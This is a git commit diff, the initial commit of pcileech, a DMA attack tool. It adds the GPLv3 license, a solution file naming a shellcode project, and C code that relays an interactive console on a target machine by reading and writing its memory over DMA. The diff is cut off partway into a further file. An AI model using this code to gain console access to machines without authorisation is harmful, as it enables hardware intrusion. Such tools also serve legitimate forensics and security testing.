commit 6b00fc1373198ee91c715bee37834b51f84462c2 Author: ulfr11 Date: Sun Jul 31 12:59:27 2016 +0200 Initial Commit diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/pcileech.sln b/pcileech.sln new file mode 100644 index 0000000..34551e7 --- /dev/null +++ b/pcileech.sln @@ -0,0 +1,38 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25123.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pcileech", "pcileech\pcileech.vcxproj", "{DFFA1B4C-279B-4356-ADB1-08A6F4795931}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pcileech_gensig", "pcileech_gensig\pcileech_gensig.vcxproj", "{C55314C6-71A0-4AE2-A4F0-E5E531A5E065}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pcileech_shellcode", "pcileech_shellcode\pcileech_shellcode.vcxproj", "{5C698F13-6E9F-46F3-95FC-55376A65D8BF}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{41BC2617-A896-4D63-9F5E-ED26C5A613B8}" + ProjectSection(SolutionItems) = preProject + LICENSE = LICENSE + readme.md = readme.md + EndProjectSection +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Debug|x64.ActiveCfg = Debug|x64 + {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Debug|x64.Build.0 = Debug|x64 + {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Release|x64.ActiveCfg = Release|x64 + {DFFA1B4C-279B-4356-ADB1-08A6F4795931}.Release|x64.Build.0 = Release|x64 + {C55314C6-71A0-4AE2-A4F0-E5E531A5E065}.Debug|x64.ActiveCfg = Debug|x64 + {C55314C6-71A0-4AE2-A4F0-E5E531A5E065}.Debug|x64.Build.0 = Debug|x64 + {C55314C6-71A0-4AE2-A4F0-E5E531A5E065}.Release|x64.ActiveCfg = Release|x64 + {C55314C6-71A0-4AE2-A4F0-E5E531A5E065}.Release|x64.Build.0 = Release|x64 + {5C698F13-6E9F-46F3-95FC-55376A65D8BF}.Debug|x64.ActiveCfg = Release|x64 + {5C698F13-6E9F-46F3-95FC-55376A65D8BF}.Release|x64.ActiveCfg = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/pcileech/consoleredir.c b/pcileech/consoleredir.c new file mode 100644 index 0000000..399afb6 --- /dev/null +++ b/pcileech/consoleredir.c @@ -0,0 +1,101 @@ +// consoleredir.c : implementation related 'console redirect' functionality. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#include "consoleredir.h" +#include "device.h" +#include "util.h" + +// If console redirection is enabled separate buffers are allocated and is as +// follows below: +// page 2: Read/Write - input part (input to targeted console window) +// 0..n = USERSHELL_BUFFER_IO struct +// n+1..0xfff = input buffer +// page 3: Read/Write - output part (output from targeted console window) +// 0..n = USERSHELL_BUFFER_IO struct +// n+1..0xfff = output buffer +#define USERSHELL_BUFFER_IO_MAGIC 0x012651232dfef9521 +#define USERSHELL_BUFFER_IO_SIZE 0x800 +typedef struct tUSERSHELLBUFFERIO { + QWORD qwMagic; + QWORD cbRead; + QWORD cbReadAck; + QWORD qwDebug[10]; + BYTE pb[]; +} USERSHELL_BUFFER_IO, *PUSERSHELL_BUFFER_IO; + +typedef struct tdCONSOLEREDIR_THREADDATA { + PCONFIG pCfg; + PDEVICE_DATA pDeviceData; + PUSERSHELL_BUFFER_IO pInfoIS; + PUSERSHELL_BUFFER_IO pInfoOS; + BYTE pbDataISConsoleBuffer[4096]; + BYTE pbDataOSConsoleBuffer[4096]; +} CONSOLEREDIR_THREADDATA, *PCONSOLEREDIR_THREADDATA; + +// input buffer to targeted console (outgoing info) +// read from this console and send to targeted console +DWORD ConsoleRedirect_ThreadConsoleInput(PCONSOLEREDIR_THREADDATA pd) +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + DWORD cbWrite, cbModulo, cbModuloAck; + while(TRUE) { + while(pd->pInfoOS->cbRead == pd->pInfoIS->cbReadAck) { + Sleep(10); + continue; + } + cbModulo = pd->pInfoOS->cbRead % USERSHELL_BUFFER_IO_SIZE; + cbModuloAck = pd->pInfoIS->cbReadAck % USERSHELL_BUFFER_IO_SIZE; + if(cbModuloAck < cbModulo) { + WriteConsoleA(hConsole, pd->pInfoOS->pb + cbModuloAck, cbModulo - cbModuloAck, &cbWrite, NULL); + } + else { + WriteConsoleA(hConsole, pd->pInfoOS->pb + cbModuloAck, USERSHELL_BUFFER_IO_SIZE - cbModuloAck, &cbWrite, NULL); + } + pd->pInfoIS->cbReadAck += cbWrite; + } +} + +DWORD ConsoleRedirect_ThreadConsoleOutput(PCONSOLEREDIR_THREADDATA pd) +{ + HANDLE hConsoleIn = GetStdHandle(STD_INPUT_HANDLE); + DWORD cbRead; + while(TRUE) { + ReadConsoleA(hConsoleIn, pd->pInfoIS->pb + (pd->pInfoIS->cbRead % USERSHELL_BUFFER_IO_SIZE), 1, &cbRead, NULL); + pd->pInfoIS->cbRead += cbRead; + while(pd->pInfoIS->cbRead - pd->pInfoOS->cbReadAck >= USERSHELL_BUFFER_IO_SIZE) { + Sleep(10); + } + } +} + +VOID ActionConsoleRedirect(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream) +{ + BOOL result; + PCONSOLEREDIR_THREADDATA pd = LocalAlloc(LMEM_ZEROINIT, sizeof(CONSOLEREDIR_THREADDATA)); + if(!pd) { return; } + pd->pCfg = pCfg; + pd->pDeviceData = pDeviceData; + pd->pInfoIS = (PUSERSHELL_BUFFER_IO)pd->pbDataISConsoleBuffer; + pd->pInfoOS = (PUSERSHELL_BUFFER_IO)pd->pbDataOSConsoleBuffer; + // read initial buffer and check validity + Sleep(250); + result = DeviceReadMEM(pDeviceData, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000); + if(pd->pInfoOS->qwMagic != USERSHELL_BUFFER_IO_MAGIC) { + printf("\nCONSOLE_REDIRECT: Error: Adress 0x%016llX does not contain a valid console buffer.\n", ConsoleBufferAddr_OutputStream); + return; + } + // create worker threads + CreateThread(NULL, 0, ConsoleRedirect_ThreadConsoleInput, pd, 0, NULL); + CreateThread(NULL, 0, ConsoleRedirect_ThreadConsoleOutput, pd, 0, NULL); + // buffer syncer + while(TRUE) { + result = DeviceReadMEM(pDeviceData, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000); + if(!result || pd->pInfoOS->qwMagic != USERSHELL_BUFFER_IO_MAGIC) { + printf("\nCONSOLE_REDIRECT: Error: Adress 0x%016llX does not contain a valid console buffer.\n", ConsoleBufferAddr_OutputStream); + return; + } + DeviceWriteMEM(pDeviceData, ConsoleBufferAddr_InputStream, pd->pbDataISConsoleBuffer, 0x1000); + } +} \ No newline at end of file diff --git a/pcileech/consoleredir.h b/pcileech/consoleredir.h new file mode 100644 index 0000000..e60c7ed --- /dev/null +++ b/pcileech/consoleredir.h @@ -0,0 +1,20 @@ +// consoleredir.h : definitions related to 'console redirect' functionality. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#ifndef __CONSOLEREDIR_H__ +#define __CONSOLEREDIR_H__ +#include "pcileech.h" + +/* +* Connect to an interactive console at the target system over DMA. This works +* by reading and writing memory buffers on the target system. +* -- pCfg +* -- pDeviceData +* -- ConsoleBufferAddr_InputStream = DMA buffer on target system for input. +* -- ConsoleBufferAddr_OutputStream = DMA buffer on target system for output. +*/ +VOID ActionConsoleRedirect(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream); + +#endif /* __CONSOLEREDIR_H__ */ \ No newline at end of file diff --git a/pcileech/cpuflash.c b/pcileech/cpuflash.c new file mode 100644 index 0000000..062194d --- /dev/null +++ 